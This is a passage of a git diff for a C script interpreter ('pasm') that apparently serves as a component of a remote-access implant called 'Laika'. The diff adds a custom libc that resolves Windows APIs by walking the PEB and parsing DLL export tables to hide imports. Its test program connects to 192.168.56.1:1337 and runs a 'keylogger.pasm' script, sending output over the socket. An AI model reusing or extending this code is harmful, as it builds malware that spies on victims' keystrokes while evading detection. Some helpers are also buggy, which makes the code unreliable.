'a' && c <= 'z') ? (1) : (0)) +#define IS_UP(c) ((c >= 'A' && c <= 'Z') ? (1) : (0)) +#define IS_ALPHA(c) ((IS_LOW(c) || IS_UP(c)) ? (1) : (0)) +#define IS_NUM(c) ((c >= '0' && c <= '9') ? (1) : (0)) +#define IS_SPACE(c) (c == ' ') + +void* malloc_(size_t _Size) { +#ifndef _WIN32 + return malloc(_Size); +#else + if (_crt_heap_ == 0) { + if (pHeapCreate == NULL) { + pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate"); + } + _crt_heap_ = pHeapCreate(0, 0, 0); + } + + if (pHeapAlloc == NULL) { + pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc"); + } + return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size); +#endif +} + +void free_(void* _Block) { +#ifndef _WIN32 + free(_Block); + return; +#else + if (pHeapFree == NULL) { + pHeapFree = GetApi(L"KERNEL32.DLL", "HeapFree"); + } + pHeapFree(_crt_heap_, 0, _Block); + return; +#endif +} + +void* realloc_(void* _Block, size_t _Size) { +#ifndef _WIN32 + return realloc(_Block, _Size); +#else + if (_crt_heap_ == 0) { + if (pHeapCreate == NULL) { + pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate"); + } + _crt_heap_ = pHeapCreate(0, 0, 0); + } + if (_Block == NULL) { + if (pHeapAlloc == NULL) { + pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc"); + } + return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size); + } + if (pHeapReAlloc == NULL) { + pHeapReAlloc = GetApi(L"KERNEL32.DLL", "HeapReAlloc"); + } + return pHeapReAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Block, _Size); +#endif +} + +int strlen__(char const* str) +{ + int len = 0; + + if (!str) + return 1; + for (int i = 0; str[i] != '\0'; i += 1) { + len += 1; + } + return (len); +} + +char* strcpy__(char* dest, char const* src) +{ + int len = strlen__(src); + + for (int i = 0; src[i] != '\0'; i += 1) { + dest[i] = src[i]; + } + dest[len] = '\0'; + return dest; +} + +char* strdup_(char const* src) +{ +#ifndef _WIN32 + return strdup(src); +#endif + char* dup; + int src_len; + + if (src == NULL) + return NULL; + src_len = strlen__(src); + dup = malloc_(sizeof(char) * (src_len + 1)); + strcpy__(dup, src); + return (dup); +} + +int strncmp__(char const* s1, char const* s2, int n) +{ +#ifndef _WIN32 + return strncmp(s1, s2, n); +#endif + for (int i = 0; i < n; i += 1) { + if (s1[i] == '\0' || s2[i] == '\0') { + return (s1[i] - s2[i]); + } + if (s1[i] == s2[i]) { + continue; + } + return (s1[i] - s2[i]); + } + return (0); +} + +int strcmp__(char const* s1, char const* s2) +{ +#ifndef _WIN32 + return strcmp(s1, s2); +#endif + int max_len; + + if (strlen__(s1) > strlen__(s2)) { + max_len = strlen__(s1); + } + else { + max_len = strlen__(s2); + } + for (int i = 0; i < max_len; i += 1) { + if (s1[i] == s2[i]) { + continue; + } + return (s1[i] - s2[i]); + } + return (0); +} + +char* strstr__(char* str, char const* to_find) +{ +#ifndef WIN32 + return strstr(str, to_find); +#endif + int len_str = strlen__(str); + int len_str_to_find = strlen__(to_find); + + if (strlen__(to_find) == 0) { + return (str); + } + for (int i = 0; i < len_str - len_str_to_find + 1; i += 1) { + if (strncmp__(&str[i], to_find, strlen__(to_find)) == 0) { + return (&str[i]); + } + } + return (NULL); +} + +//https://github.com/gcc-mirror/gcc/blob/master/libiberty/strtol.c +long strtol_(const char* nptr, char** endptr, register int base) +{ +#ifndef _WIN32 + return strtol(nptr, endptr, base); +#endif + register const char* s = nptr; + register unsigned long acc; + register int c; + register unsigned long cutoff; + register int neg = 0, any, cutlim; + + /* + * Skip white space and pick up leading +/- sign if any. + * If base is 0, allow 0x for hex and 0 for octal, else + * assume decimal; if base is already 16, allow 0x. + */ + do { + c = *s++; + } while (IS_SPACE(c)); + if (c == '-') { + neg = 1; + c = *s++; + } + else if (c == '+') + c = *s++; + if ((base == 0 || base == 16) && + c == '0' && (*s == 'x' || *s == 'X')) { + c = s[1]; + s += 2; + base = 16; + } + if (base == 0) + base = c == '0' ? 8 : 10; + + /* + * Compute the cutoff value between legal numbers and illegal + * numbers. That is the largest legal value, divided by the + * base. An input number that is greater than this value, if + * followed by a legal input character, is too big. One that + * is equal to this value may be valid or not; the limit + * between valid and invalid numbers is then based on the last + * digit. For instance, if the range for longs is + * [-2147483648..2147483647] and the input base is 10, + * cutoff will be set to 214748364 and cutlim to either + * 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated + * a value > 214748364, or equal but the next digit is > 7 (or 8), + * the number is too big, and we will return a range error. + * + * Set any if any `digits' consumed; make it negative to indicate + * overflow. + */ + cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX; + cutlim = cutoff % (unsigned long)base; + cutoff /= (unsigned long)base; + for (acc = 0, any = 0;; c = *s++) { + if (IS_NUM(c)) + c -= '0'; + else if (IS_ALPHA(c)) + c -= IS_UP(c) ? 'A' - 10 : 'a' - 10; + else + break; + if (c >= base) + break; + if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim)) + any = -1; + else { + any = 1; + acc *= base; + acc += c; + } + } + if (any < 0) { + acc = neg ? LONG_MIN : LONG_MAX; + } + else if (neg) + acc = -acc; + if (endptr != 0) + *endptr = (char*)(any ? s - 1 : nptr); + return (acc); +} + +//https://opensource.apple.com/source/Libc/Libc-167/string.subproj/strtok.c.auto.html +char* strtok_(register char *s, register const char* delim) +{ +#ifndef _WIN32 + return strtok(s, delim); +#endif + register char* spanp; + register int c, sc; + char* tok; + static char* last; + + + if (s == NULL && (s = last) == NULL) + return (NULL); + + /* + * Skip (span) leading delimiters (s += strspn(s, delim), sort of). + */ +cont: + c = *s++; + for (spanp = (char*)delim; (sc = *spanp++) != 0;) { + if (c == sc) + goto cont; + } + + if (c == 0) { /* no non-delimiter characters */ + last = NULL; + return (NULL); + } + tok = s - 1; + + /* + * Scan token (scan for delimiters: s += strcspn(s, delim), sort of). + * Note that delim must have one NUL; we stop if we see that, too. + */ + for (;;) { + c = *s++; + spanp = (char*)delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + last = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} + +#ifdef _WIN32 +#pragma optimize("", off) +#endif +void* memset__(void* a, int val, size_t size) { +#ifndef _WIN32 + return memset(a, val, size); +#endif + if (a == NULL) + return NULL; + for (size_t i = 0; i < size; i++) + ((char*)a)[i] = (char)val; + return a; +} +#ifdef _WIN32 +#pragma optimize("", on) +#endif + +#ifdef _WIN32 +wchar_t tolower_wchar(wchar_t wc) { + if (wc >= L'A' && wc <= L'Z') { + return wc + (L'a' - L'A'); + } + return wc; +} + +wchar_t* wcsstr__(const wchar_t* haystack, const wchar_t* needle) { + if (!*needle) + return (wchar_t*)haystack; + while (*haystack) { + const wchar_t* h = haystack; + const wchar_t* n = needle; + + while (*h && *n && (tolower_wchar(*h) == tolower_wchar(*n))) { + h++; + n++; + } + if (!*n) + return (wchar_t*)haystack; + haystack++; + } + return NULL; +} + +HMODULE get_module(const wchar_t* mod) { + PTEB tebPtr = GetTEB(); + + PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr; + PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList); + for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) { + LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + if (wcsstr__(module->FullDllName.Buffer, mod) != NULL) { + return (HMODULE)(module->DllBase); + } + } + return NULL; +} + +void* GetProcAddress_(HMODULE hModule, LPCSTR lpProcName) { + if (hModule == NULL) { + return NULL; + } + + IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return NULL; + } + + IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew); + if (ntHeader->Signature != IMAGE_NT_SIGNATURE) { + return NULL; + } + + IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames); + DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions); + WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { + const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]); + if (strcmp(functionName, lpProcName) == 0) { + DWORD funcRVA = addrRVAs[ordinals[i]]; + void* funcPtr = (void*)((BYTE*)hModule + funcRVA); + return funcPtr; + } + } + return NULL; +} + +void* GetApi(const wchar_t* module, LPCSTR function) { + if (pGetProcAddress == NULL) { + HMODULE hKernel32 = NULL; + if (pLoadLibraryW == NULL) { //should not happen as Laika loads the required modules at startup + HMODULE ntdll = get_module(L"ntdll.dll"); + fLdrLoadDll ldr = (fLdrLoadDll)GetProcAddress_(ntdll, "LdrLoadDll"); + fRtlInitUnicodeString r = (fRtlInitUnicodeString)GetProcAddress_(ntdll, "RtlInitUnicodeString"); + wchar_t* wide = L"kernel32.dll"; + UNICODE_STRING dll; + + r(&dll, wide); + ldr(0, 0, &dll, (PVOID*)&hKernel32); + pLoadLibraryW = GetProcAddress_(hKernel32, "LoadLibraryW"); + } + pGetProcAddress = GetProcAddress_(hKernel32, "GetProcAddress"); + } + HMODULE mod = get_module(module); + if (mod == NULL) { + mod = pLoadLibraryW(module); + } + return pGetProcAddress(mod, function); +} +#endif \ No newline at end of file diff --git a/src/libc.h b/src/libc.h new file mode 100644 index 0000000..5bfd90b --- /dev/null +++ b/src/libc.h @@ -0,0 +1,22 @@ +#pragma once +#include + +#ifdef _WIN32 +#include +extern HANDLE _crt_heap_; + +#endif + +void* malloc_(size_t _Size); +void free_(void* _Block); +void* realloc_(void* _Block, size_t _Size); +char* strdup_(char const* src); +int strncmp__(char const* s1, char const* s2, int n); +int strcmp__(char const* s1, char const* s2); +char* strstr__(char* str, char const* to_find); +long strtol_(const char* nptr, char** endptr, register int base); +char* strtok_(register char* s, register const char* delim); +void* memset__(void* a, int val, size_t size); +#ifdef _WIN32 +void* GetApi(const wchar_t* module, LPCSTR function); +#endif diff --git a/src/pasm.c b/src/pasm.c index 24592be..abf8010 100644 --- a/src/pasm.c +++ b/src/pasm.c @@ -3,6 +3,7 @@ #include "file_utils.h" #include "debug.h" +#include "libc.h" #include "interpreter_states.h" #include "instructions.h" @@ -10,27 +11,61 @@ int fstream = 0; int pasm_debug_mode = 0; #ifdef _WIN32 // i swear i hate windows at this point -#pragma comment(lib, "ws2_32.lib") - #include #include -#include + +typedef HANDLE(WINAPI* fGetStdHandle)(DWORD); +typedef int(WINAPI* fwvsprintfA)(LPSTR, LPCSTR, va_list); +typedef BOOL(WINAPI* fWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); + +fGetStdHandle pGetStdHandle = NULL; +fwvsprintfA pwvsprintfA = NULL; +fWriteFile pWriteFile = NULL; int dprintf(int stream, const char * format, ...) { - char buf[256] = {0}; //might overflow but whatever, fuck Windows + char buffer[1024]; //might overflow but whatever, fuck Windows va_list args; + DWORD written; + int length; va_start(args, format); - int wrote = vsprintf(buf, format, args); - struct sockaddr name = {0}; - int len = 0; - if (getsockname(stream, &name, &len) != 0) { - _write(stream, buf, sizeof(buf)); + HANDLE h; + + if (pGetStdHandle == NULL) + pGetStdHandle = (fGetStdHandle)GetApi(L"KERNEL32.DLL", "GetStdHandle"); + if (pwvsprintfA == NULL) + pwvsprintfA = (fwvsprintfA)GetApi(L"USER32.dll", "wvsprintfA"); + if (pWriteFile == NULL) + pWriteFile = (fWriteFile)GetApi(L"KERNEL32.DLL", "WriteFile"); + + switch (stream) { + case 1: // stdout + h = pGetStdHandle(STD_OUTPUT_HANDLE); + break; + case 2: // stderr + h = pGetStdHandle(STD_ERROR_HANDLE); + break; + default: // Assume stream is a socket + h = (HANDLE)stream; + break; + } + + length = pwvsprintfA(buffer, format, args); + va_end(args); + + if (stream == 1 || stream == 2) { + if (!pWriteFile(h, buffer, length, &written, NULL)) { + return -1; + } } else { - send(stream, buf, sizeof(buf), 0); + OVERLAPPED ov = {0}; + if (!pWriteFile(h, buffer, length, &written, &ov)) { + state->should_exit = 1; //broken socket -> host disconnected + return -1; + } } - va_end(args); - return wrote; + + return length; } #endif @@ -41,10 +76,21 @@ void show_error(size_t line, char *line_) { int wrote = dprintf(fstream, "%ld| ", line + 1); #endif dprintf(fstream, "%s\n", line_); +#ifdef _WIN32 + // I hate you Windows + + for (int j = 0; j < wrote; j++) + dprintf(fstream, " "); + dprintf(fstream, "^\n"); + for (int k = 0; k < wrote; k++) + dprintf(fstream, " "); + dprintf(fstream, "|\n"); +#else dprintf(fstream, "%*s\n", wrote + 1, "^"); dprintf(fstream, "%*s\n", wrote + 1, "|"); +#endif for (int i = 0; i < wrote; i++) - dprintf(fstream, " "); + dprintf(fstream, " "); } int check_errors(char *line) { @@ -92,7 +138,7 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea return 1; if (init_state() == 1) { dprintf(fstream, "Failed to initialize the interpreter.\n"); - free_script(file); + free__script(file); return 1; } @@ -101,39 +147,44 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea if (pasm_debug_mode && found_main) debug_input(file[state->curr_line]); #ifdef _WIN32 - char* line = _strdup(file[state->curr_line]); + char* line = strdup_(file[state->curr_line]); #else char *line = strdup(file[state->curr_line]); #endif - if (line[0] == ';' || line[0] == '\0' || line[0] == '\t') { - free(line); + if (line[0] == ';' || line[0] == '\0' || line[0] == '\t' || line[0] == '\r' || line[0] == '\n') { + free_(line); continue; } - const command_t *com = find_command(command_map, strtok(line, " ")); + while (file[state->curr_line][strlen(line) - 1] == '\r' || file[state->curr_line][strlen(line) - 1] == '\n') { + file[state->curr_line][strlen(line) - 1] = '\0'; + line[strlen(line) - 1] = '\0'; + } + + const command_t *com = find_command(command_map, strtok_(line, " ")); if (com == NULL || com->fptr == NULL) { ARRAY_ERR err = add_array(file[state->curr_line]); if (err == ARRAY_OK) { - free(line); + free_(line); continue; } if (err == ARRAY_ERROR) { show_error(state->curr_line, file[state->curr_line]); dprintf(fstream, "%s\n", "bad syntax in array definition"); set_exit_state(-1); - free(line); + free_(line); break; } if (file[state->curr_line][strlen(line) - 1] != ':') { show_error(state->curr_line, file[state->curr_line]); - dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok(file[state->curr_line], " ")); + dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok_(file[state->curr_line], " ")); set_exit_state(-1); - free(line); + free_(line); break; } add_label(line, state->curr_line); - if (!found_main && strcmp(line, "main:") == 0) + if (!found_main && strcmp__(line, "main:") == 0) found_main = 1; - free(line); + free_(line); continue; } parse_arguments(file[state->curr_line]); @@ -144,10 +195,10 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea set_exit_state(-1); break; } - free(line); + free_(line); } int ret_code = get_exit_state(); - free_script(file); + //free__script(file); return ret_code; } diff --git a/tests/socket_win32.c b/tests/socket_win32.c index bac57b9..bfa937e 100644 --- a/tests/socket_win32.c +++ b/tests/socket_win32.c @@ -9,76 +9,82 @@ #define BUFFER_SIZE 4096 -char** get_lines(char* str, int* count) { - // Check for null pointer - if (!str || !count) { - return 0; + +#define INITIAL_BUFFER_SIZE 256 +#define INITIAL_ARRAY_SIZE 10 + +char** read_file_into_array(const char* filename, int* lines_count) { + FILE* file = fopen(filename, "r"); + if (file == NULL) { + perror("Error opening file"); + return NULL; } - // Count the number of lines - *count = 1; - for (char* p = str; *p; ++p) { - if (*p == '\r' && *(p + 1) == '\n') { - ++(*count); - ++p; // Skip '\n' - } + // Allocate initial space for the array of strings + int array_size = INITIAL_ARRAY_SIZE; + char** lines = malloc(array_size * sizeof(char*)); + if (lines == NULL) { + perror("Error allocating memory for lines"); + fclose(file); + return NULL; } - // Allocate memory for char** array - char** lines = (char**)malloc((*count + 1) * sizeof(char*)); - if (!lines) { - // Handle allocation failure - return 0; - } + char buffer[INITIAL_BUFFER_SIZE]; + int count = 0; - // Copy lines to char** array - int lineIndex = 0; - char* start = str; - for (char* p = str; *p; ++p) { - if (*p == '\r' && *(p + 1) == '\n') { - int lineLength = p - start; - lines[lineIndex] = (char*)malloc((lineLength + 1) * sizeof(char)); - if (!lines[lineIndex]) { - // Handle allocation failure + while (fgets(buffer, INITIAL_BUFFER_SIZE, file)) { + // Remove newline character, if present + buffer[strcspn(buffer, "\n")] = '\0'; + + // Reallocate if necessary + if (count >= array_size) { + array_size *= 2; + char** temp = realloc(lines, array_size * sizeof(char*)); + if (temp == NULL) { + perror("Error reallocating memory for lines"); // Free previously allocated memory - for (int i = 0; i < lineIndex; ++i) { + for (int i = 0; i < count; i++) { free(lines[i]); } free(lines); - return 0; + fclose(file); + return NULL; } - strncpy(lines[lineIndex], start, lineLength); - lines[lineIndex][lineLength] = '\0'; // Null-terminate the line - ++lineIndex; - ++p; // Skip '\n' - start = p + 1; // Move to the next line + lines = temp; } + + // Allocate memory for the line and store it + lines[count] = malloc(strlen(buffer) + 1); + if (lines[count] == NULL) { + perror("Error allocating memory for a line"); + // Free previously allocated memory + for (int i = 0; i < count; i++) { + free(lines[i]); + } + free(lines); + fclose(file); + return NULL; + } + + strcpy(lines[count], buffer); + count++; } - // Copy the last line - int lastLineLength = strlen(start); - lines[lineIndex] = (char*)malloc((lastLineLength + 1) * sizeof(char)); - if (!lines[lineIndex]) { - // Handle allocation failure - // Free previously allocated memory - for (int i = 0; i <= lineIndex; ++i) { - free(lines[i]); - } - free(lines); - return 0; - } - strcpy(lines[lineIndex], start); - lines[*count] = 0; // Null-terminate the char** array + fclose(file); + + // Store the number of lines read + *lines_count = count; return lines; } -int WinMain( - HINSTANCE hInstance, - HINSTANCE hPrevInstance, - LPSTR lpCmdLine, - int nShowCmd -) { +void free_lines(char** lines, int count) { + for (int i = 0; i < count; i++) { + printf(lines[i]); + } +} + +int main(int argc, char** argv) { int sock; int first = 1; struct sockaddr_in server; @@ -100,7 +106,7 @@ retry: first = 0; } - server.sin_addr.s_addr = inet_addr("192.168.1.35"); + server.sin_addr.s_addr = inet_addr("192.168.56.1"); server.sin_port = htons(1337); //Create socket @@ -118,23 +124,9 @@ retry: goto retry; } - //keep communicating with server - while (1) - { - memset(server_reply, 0, BUFFER_SIZE); + const char* filename = "../../examples/keylogger.pasm"; + int lines_count; + char** lines = read_file_into_array(filename, &lines_count); - //Receive a reply from the server - if (recv(sock, server_reply, BUFFER_SIZE, 0) <= 0) - { - //recv failed - Sleep(500); - goto retry; - } - - int lines = 0; - char **script = get_lines(server_reply, &lines); - - printf("%d\n", pasm_run_script("../examples/keylogger.pasm", 0, 0, sock)); - } - return 0; + return pasm_run_script(NULL, lines, lines_count, sock); }